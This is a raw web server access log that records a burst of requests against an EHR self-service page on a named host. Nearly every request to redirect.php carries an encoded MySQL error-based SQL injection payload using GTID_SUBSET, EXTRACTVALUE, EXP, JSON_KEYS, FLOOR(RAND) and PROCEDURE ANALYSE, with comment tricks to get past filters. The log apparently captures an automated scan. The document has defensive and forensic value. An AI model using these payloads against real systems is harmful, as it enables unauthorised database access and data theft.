100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6458794d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4973746d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6458794d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4973746d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x74304243%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3863496b%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x74304243%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3863496b%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71656b73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39547956%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x71656b73%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39547956%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30395145%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7175324e%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x30395145%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7175324e%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51623037%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67453542%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x51623037%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x67453542%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x65624848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484e6545%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x65624848%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x484e6545%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66556144%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x786f6c74%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x66556144%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x786f6c74%29%29x%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x704d4138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36644957%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x704d4138%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x36644957%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4d63555a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70447574%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4d63555a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70447574%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4f675a39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c47784f%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x4f675a39%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c47784f%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c384876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a59566b%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%29ORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6c384876%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a59566b%29%29%2C1%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4b587635%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6373506a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4b587635%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6373506a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a464942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e754d73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a464942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e754d73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x536f496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a327566%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x536f496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a327566%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%29%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x72495943%2C%28NULL%29%2C0x65566866%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538%29&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x5a464942%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6e754d73%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4b587635%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6373506a%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x536f496a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a327566%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:24 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3874546a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61735778%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x3874546a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61735778%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a63506a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b78726d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:23:23 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x6a63506a%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6b78726d%29%2C6420%29%2F%2A%2A%2FAND%2F%2A%2A%2F%286538%3D6538&userseqno=47810 HTTP/1.1" 302 -
